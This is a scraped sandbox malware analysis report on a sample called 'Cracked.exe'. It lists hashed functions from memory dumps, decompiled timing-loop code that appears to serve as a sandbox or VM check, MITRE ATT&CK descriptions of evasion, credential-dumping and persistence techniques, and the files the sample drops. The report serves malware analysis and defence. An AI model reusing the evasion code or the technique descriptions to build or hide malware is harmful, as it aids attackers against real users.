Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.475161397.00007FFBAC190000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFBAC190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffbac190000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 63f5f14485b5f0ffec607f08a942ccdefc449748e241f0471ff276771664abee
Instruction ID: 3944e7cbc298410dcb79df32a45e1c8c91842a7b59387d33ec9284df21e106f0
Opcode Fuzzy Hash: 63f5f14485b5f0ffec607f08a942ccdefc449748e241f0471ff276771664abee
Instruction Fuzzy Hash: 8FF0EC7551868C8FCB46DF28D8595E53FF0EF25201B040197E84DC7161D730D958CBC2

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFBAC19714C Relevance: .2, Instructions: 185COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.475161397.00007FFBAC190000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFBAC190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffbac190000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e091204ba38d7ab50ada6002c3bc3a247faa70114fad036a22348e0f003ce135
Instruction ID: f3086a1d9c300ed30f175d44af1775d374ea1d1ba0b19e1717aad8401d9d1625
Opcode Fuzzy Hash: e091204ba38d7ab50ada6002c3bc3a247faa70114fad036a22348e0f003ce135
Instruction Fuzzy Hash: 1C5147B061D7854FD74AD738C859A757FF0EF56220B1801FED48ACB2A3D915A847C352

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFBAC264083 Relevance: .2, Instructions: 180COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.475788640.00007FFBAC260000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFBAC260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffbac260000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2cc58d67daa19af0647f47a10516aaa5449f799e285cc655a6a96894c4f618b3
Instruction ID: d6dbdc728130e7d32ae713784767f6954508b381c5dcb86c402afd4b99e09228
Opcode Fuzzy Hash: 2cc58d67daa19af0647f47a10516aaa5449f799e285cc655a6a96894c4f618b3
Instruction Fuzzy Hash: F8518EA2A0DB5A4FF79AE62CD4152B577D2DF94220B0801BAC58EC72D7ED24EC058365

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFBAC264370 Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.475788640.00007FFBAC260000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFBAC260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffbac260000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a54b05351051e4f2de3685ca1f7f0d5e7d0a56e1d4196193763388b6f81207c8
Instruction ID: 23485b29f66237b05846c41971fbe5bcbda0c0019238b7745468c298e1d9e7b6
Opcode Fuzzy Hash: a54b05351051e4f2de3685ca1f7f0d5e7d0a56e1d4196193763388b6f81207c8
Instruction Fuzzy Hash: 67416DB2A0DB594FEBA6E63C94156B477D1DF40320B5805BFC88EC7297ED24EC1583A1

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFBAC196305 Relevance: .1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.475161397.00007FFBAC190000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFBAC190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffbac190000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f304f8e6fe2f5d94fbda599be45271abd23063e5250a603485ae4c9f0b6a5d3
Instruction ID: 2c0277b5543b1163c0cef2089ba996dbb12788aa8afd17e45ea2ce7bdfcee212
Opcode Fuzzy Hash: 4f304f8e6fe2f5d94fbda599be45271abd23063e5250a603485ae4c9f0b6a5d3
Instruction Fuzzy Hash: 3241177091CB8C8FD759DB6CD80A6AC7BE0FB59321F00426FE449C3692CA64A955CBD2

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFBAC196E65 Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.475161397.00007FFBAC190000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFBAC190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffbac190000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4da29527943fe5150728d0b776efd75bc60551f9ad284665fa76f20bda13a9e2
Instruction ID: 192b904de43cc7000be99cd7049d020cb62513db5fb8d6c066bef0b8305a9c17
Opcode Fuzzy Hash: 4da29527943fe5150728d0b776efd75bc60551f9ad284665fa76f20bda13a9e2
Instruction Fuzzy Hash: C421047090C64C4FDB59DF6C984A7E97FF0EB96320F04416BD449C7162C674A406CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFBAC2640CF Relevance: .1, Instructions: 93COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.475788640.00007FFBAC260000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFBAC260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffbac260000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 488d485da24743706c9cf80b183eaae30d40ba480b0d347481bca3211009ed37
Instruction ID: b2506a313253c42946729232460d06e43002427043b2992ceb361c66f507a0d1
Opcode Fuzzy Hash: 488d485da24743706c9cf80b183eaae30d40ba480b0d347481bca3211009ed37
Instruction Fuzzy Hash: BB2104E290EB574FF6AAE72CD45927462D1EF54310B4901BAC98EC73EAED28DC018265

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFBAC2643BC Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.475788640.00007FFBAC260000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFBAC260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffbac260000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 60db87b1ee5e9b66e2e9a53da6b6c50eaf3adbf7bfeda7400b08e732d339f9fd
Instruction ID: 6d4c4bf4071a20d432d103bc0e23e5e65e1bda0cd00a052aff04bdfb97eaecb9
Opcode Fuzzy Hash: 60db87b1ee5e9b66e2e9a53da6b6c50eaf3adbf7bfeda7400b08e732d339f9fd
Instruction Fuzzy Hash: BC1106A2D0E6554FE6A6E62CD4596B47BD0EF40320B5900BAC88EC7297ED24EC1083A1

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFBAC266803 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.475788640.00007FFBAC260000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFBAC260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffbac260000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a0302947697d15733bda779a3d3ca22c9b63d715f0db5615381ff22fc54a19ef
Instruction ID: 49e070d0cb4343ae1b977460078ec8696b9f365b7988c337bbb9f0e850f7046b
Opcode Fuzzy Hash: a0302947697d15733bda779a3d3ca22c9b63d715f0db5615381ff22fc54a19ef
Instruction Fuzzy Hash: B81194B1A0E7898FEB86E7B8C4955A877A1EF05211B0800BAC40DD7297CA35984983A5

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFBAC191355 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.475161397.00007FFBAC190000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFBAC190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffbac190000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 07619f96095842d0c0f02c34c889d0c1dabf1ee130f3815c66c06bac9d50aba9
Instruction ID: b9d66fa96a2e514216fd3bcc06fb95510a0743d7714db1a4fabca59a89605e6a
Opcode Fuzzy Hash: 07619f96095842d0c0f02c34c889d0c1dabf1ee130f3815c66c06bac9d50aba9
Instruction Fuzzy Hash: AD01677111CB0C4FD744EF0CE455AA6B7E0FB95364F10056DE58AC3661DA36E882CB45

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFBAC198774 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.475161397.00007FFBAC190000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFBAC190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffbac190000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a431bc8db040afe7c36be13173aab21341cbb8a62378a7fa465376c0b9eb6b5f
Instruction ID: 7b7c59a66b177d08af90924c23fed71811fe6b5eddd28524a3ec865c4deaccfa
Opcode Fuzzy Hash: a431bc8db040afe7c36be13173aab21341cbb8a62378a7fa465376c0b9eb6b5f
Instruction Fuzzy Hash: 7CF0303275C6084FDB4CEA1CF8429B573D1E799324B00016EE48BC2656D926E8438685

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFBAC1987B8 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.475161397.00007FFBAC190000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFBAC190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffbac190000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: afa5b35e566664ad413131cdc898063c81e686b5ba13ca315f779f68bb84efbd
Instruction ID: bd514b8e6a59696ca05b2e0172f98eccd1d3526aa05f7ae8ada55e2a4abbefd7
Opcode Fuzzy Hash: afa5b35e566664ad413131cdc898063c81e686b5ba13ca315f779f68bb84efbd
Instruction Fuzzy Hash: 6BF0373275C6044FDB4CAA1CF4429B573D1E795320B00016EE48BC2696D917E842C685

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: SteamService.exePID: 7908, Parent PID: 7264COMMON

Non-executed Functions

Function 010616C0 Relevance: 7.6, Strings: 6, Instructions: 129COMMON

Download Yara Rule

Strings

Auth, xrefs: 01061715
enti, xrefs: 01061720
ineI, xrefs: 010616F9
ntel, xrefs: 01061704
cAMD, xrefs: 0106172B
Genu, xrefs: 010616EE

Memory Dump Source

Source File: 0000000D.00000002.420315677.0000000001061000.00000020.00000001.01000000.00000011.sdmp, Offset: 01060000, based on PE: true

Associated: 0000000D.00000002.420307610.0000000001060000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000D.00000002.421112456.00000000011F4000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000D.00000002.421699276.00000000012AD000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000D.00000002.421730099.00000000012AE000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000D.00000002.421741478.00000000012B0000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000D.00000002.421741478.000000000130D000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000D.00000002.421792846.000000000130E000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1060000_SteamService.jbxd

Similarity

API ID:
String ID: Auth$Genu$cAMD$enti$ineI$ntel
API String ID: 0-1714976780
Opcode ID: c77623a033a8abfacda9f66ad4af76de5be2dd884c722bfa4f30fc1e450f6a10
Instruction ID: 366aac0fe29d8ea11d96cdd6c85d36b191c7b149a79fba728eb5dae626d939f0
Opcode Fuzzy Hash: c77623a033a8abfacda9f66ad4af76de5be2dd884c722bfa4f30fc1e450f6a10
Instruction Fuzzy Hash: C4312677E145160EFB69A83CD8853BD649BA7C0330F2AC779D6A6D36D1E8788D8142D0

Uniqueness

Uniqueness Score: -1.00%

Function 01061B00 Relevance: .0, Instructions: 46
COMMON

Download Yara Rule

C-Code - Quality: 65%

			E01061B00(void* __eflags) {
				void* _t10;
				void* _t14;
				intOrPtr _t15;
				void* _t18;
				intOrPtr _t21;
				void* _t23;
				intOrPtr _t24;
				void* _t25;
				void* _t28;

				asm("bt dword [edx], 0x4");
				if(__eflags < 0) {
					asm("bt dword [edx], 0x13");
					if(__eflags < 0) {
						_t21 =  *((intOrPtr*)(_t25 + 0x14));
						_t15 =  *((intOrPtr*)(_t25 + 0x18));
						_t24 =  *((intOrPtr*)(_t25 + 0x1c));
						asm("rdtsc");
						asm("clflush [edi]");
						asm("lock add [edi], ebx");
						asm("rdtsc");
						_t10 = 0;
						_t23 = 0;
						_t14 = 0;
						while(1) {
							asm("clflush [edi]");
							asm("lock add [edi], eax");
							_t24 = _t24 - 1;
							if(_t24 == 0) {
								break;
							}
							asm("rdtsc");
							_t18 = _t10;
							_t10 = _t10 - _t23;
							_t23 = _t18;
							_t28 = _t10 - _t14;
							_t14 = _t10;
							_t15 = _t15;
							_t21 = _t21 + (0 | _t28 != 0x00000000) * 4;
							if(_t15 != 0) {
								continue;
							}
							break;
						}
						return  *((intOrPtr*)(_t25 + 0x18)) - _t15;
					}
				}
				return 0;
			}

0x01061b0f
0x01061b13
0x01061b19
0x01061b1d
0x01061b23
0x01061b27
0x01061b2b
0x01061b2f
0x01061b38
0x01061b3b
0x01061b3e
0x01061b42
0x01061b44
0x01061b46
0x01061b50
0x01061b50
0x01061b53
0x01061b56
0x01061b59
0x00000000
0x00000000
0x01061b5f
0x01061b61
0x01061b63
0x01061b65
0x01061b67
0x01061b69
0x01061b73
0x01061b75
0x01061b78
0x00000000
0x00000000
0x00000000
0x01061b78
0x00000000
0x01061b82
0x01061b1d
0x01061b88

Memory Dump Source

Source File: 0000000D.00000002.420315677.0000000001061000.00000020.00000001.01000000.00000011.sdmp, Offset: 01060000, based on PE: true

Associated: 0000000D.00000002.420307610.0000000001060000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000D.00000002.421112456.00000000011F4000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000D.00000002.421699276.00000000012AD000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000D.00000002.421730099.00000000012AE000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000D.00000002.421741478.00000000012B0000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000D.00000002.421741478.000000000130D000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000D.00000002.421792846.000000000130E000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1060000_SteamService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c17cd19f7ea3155f4e8d739f9a0abbe7b57229f4fc4b39a7ee19c0c00391584c
Instruction ID: 4f49c62d543cb4a5b5c34717631e740c389e56815e4b7b6bb49962aacb1db0ac
Opcode Fuzzy Hash: c17cd19f7ea3155f4e8d739f9a0abbe7b57229f4fc4b39a7ee19c0c00391584c
Instruction Fuzzy Hash: B501D1323083124FD701CE3C9940796FBEEEBC5268F194678E44AC320AE2719D158790

Uniqueness

Uniqueness Score: -1.00%

Function 01061A90 Relevance: .0, Instructions: 34
COMMON

Download Yara Rule

C-Code - Quality: 54%

			E01061A90(void* __eflags, intOrPtr _a4, intOrPtr _a8) {
				void* _t5;
				intOrPtr _t9;
				void* _t11;
				intOrPtr _t12;
				void* _t13;

				_t5 = 0;
				asm("bt dword [edx], 0x4");
				if(__eflags < 0) {
					asm("bt dword [edx], 0x13");
					if(__eflags < 0) {
						_t12 = _a4;
						_t9 = _a8;
						asm("rdtsc");
						_t13 = 0;
						asm("clflush [edi]");
						asm("lock add [edi], ebx");
						do {
							asm("rdtsc");
							_t11 = _t5;
							_t5 = _t5 - _t13;
							_t13 = _t11;
							asm("clflush [edi]");
							asm("lock add [edi], eax");
							_t12 = _t12 + 4;
							_t9 = _t9 - 1;
						} while (_t9 != 0);
						return _a8;
					}
				}
				return _t5;
			}

0x01061a94
0x01061a9f
0x01061aa3
0x01061aa9
0x01061aad
0x01061ab3
0x01061ab7
0x01061abb
0x01061abd
0x01061ac4
0x01061ac7
0x01061ad0
0x01061ad0
0x01061ad2
0x01061ad4
0x01061ad6
0x01061ada
0x01061add
0x01061ae0
0x01061ae3
0x01061ae3
0x00000000
0x01061aec
0x01061aad
0x01061af4

Memory Dump Source

Source File: 0000000D.00000002.420315677.0000000001061000.00000020.00000001.01000000.00000011.sdmp, Offset: 01060000, based on PE: true

Associated: 0000000D.00000002.420307610.0000000001060000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000D.00000002.421112456.00000000011F4000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000D.00000002.421699276.00000000012AD000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000D.00000002.421730099.00000000012AE000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000D.00000002.421741478.00000000012B0000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000D.00000002.421741478.000000000130D000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000D.00000002.421792846.000000000130E000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1060000_SteamService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 44458ebdca2e06800f5ea6bc7d416f695ee0cffafa8f901e58bda363284468f8
Instruction ID: 0b03738bc22f9eb35fefe887690f65b3a2881c992ba20422cef2487cb27a9f12
Opcode Fuzzy Hash: 44458ebdca2e06800f5ea6bc7d416f695ee0cffafa8f901e58bda363284468f8
Instruction Fuzzy Hash: 88F0BE326083528FD302CE29E640696FBEDEBD52A4F050665E08AC3206C3719901CBD0

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	DLL monitoring, File monitoring, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create an account to maintain access to victim systems. With a sufficient level of access, creating such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.
Tactics:	Persistence
Data Sources:	AWS CloudTrail logs, Authentication logs, Azure activity logs, Office 365 account logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry. Service configurations can be modified using utilities such as sc.exe and Reg .
Tactics:	Persistence, Privilege Escalation
Data Sources:	API monitoring, File monitoring, Process command-line parameters, Process monitoring, Windows Registry, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	File monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Access tokens, Authentication logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Cracked.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

Spam, unwanted Advertisements and Ransom Demands

Protection of GUI

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files (x86)\Common Files\Steam\steamservice.exe

C:\Program Files (x86)\Steam\Steam.exe

C:\Program Files (x86)\Steam\bin\SteamService.exe

C:\Program Files (x86)\Steam\package\bins_cef_win32_win10-64.zip.vz.d63bcb5a2d579f048538e61ef9e9faa9ff46e362_68607483

C:\Program Files (x86)\Steam\package\bins_cef_win32_win7.zip.vz.84d4bf110fe50eae384af648416cfd65cf7130b7_66324270

C:\Program Files (x86)\Steam\package\bins_codecs_win32.zip.vz.75115d428dad4c6577a2fa8a6f8f422fa17b16cc_3095158

C:\Program Files (x86)\Steam\package\bins_misc_win32.zip.vz.f35d293b528a5cff5266c168f6bb160cc383e743_13267842

C:\Program Files (x86)\Steam\package\bins_webhelpers_win32_win10-64.zip.vz.c6c592a091c27d3dbbc42efdc0c8566ca2d46dbc_2813841

C:\Program Files (x86)\Steam\package\bins_webhelpers_win32_win7.zip.vz.fa3bae3977ba300407e6b2e070a0d65cc7a263bd_2472436

C:\Program Files (x86)\Steam\package\bins_win32.zip.vz.0fea7d66ad9217cd0646c9cee096c21a2d85e649_29716075

C:\Program Files (x86)\Steam\package\friendsui_all.zip.vz.dc5a05e568618d8b9a42a7ffb9c85a8368b39e19_2792909

C:\Program Files (x86)\Steam\package\public_all.zip.vz.9c814ca63a5b4779fbd99234e4c6ccdbcfb2cafb_10209176

Windows Analysis Report
Cracked.exe

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

